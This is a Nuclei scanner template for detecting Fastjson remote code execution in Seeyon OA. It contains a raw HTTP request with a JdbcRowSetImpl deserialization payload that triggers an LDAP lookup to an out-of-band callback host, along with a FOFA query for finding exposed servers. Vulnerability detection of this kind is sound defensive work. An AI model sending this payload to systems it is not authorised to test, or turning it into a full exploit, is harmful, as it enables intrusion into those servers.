id: seeyon-oa-fastjson-rce info: name: Seeyon OA Fastjson Remote Code Execution author: SleepingBag945 severity: critical description: Seeyon OA Fastjson is vulnerable to RCE. reference: - https://github.com/achuna33/MYExploit/blob/8ffbf7ee60cbd77ad90b0831b93846aba224ab29/src/main/java/com/achuna33/Controllers/SeeyonController.java - https://github.com/hktalent/scan4all/blob/main/pocs_go/seeyon/SeeyonFastjson.go metadata: verified: true max-request: 1 fofa-query: app="致远互联-OA" tags: seeyon,oa,rce,fastjson,oast http: - raw: - | POST /seeyon/main.do?method=changeLocale HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded _json_params={"v47":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"xxx":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://{{interactsh-url}}","autoCommit":true}} matchers-condition: and matchers: - type: word part: interactsh_protocol words: - "dns" - type: word part: body words: - "com.alibaba.fastjson.JSONException" # digest: 4a0a00473045022100eed8c1874aeee1da8cb9ef77d7a2710d8623731e9e613d5915c89059415a03da022063263a8ae8cb37665863634dff3a097cfed4b67947597b21b34ac0b85cd18d57:922c64590222798bb761d5b6d8e72950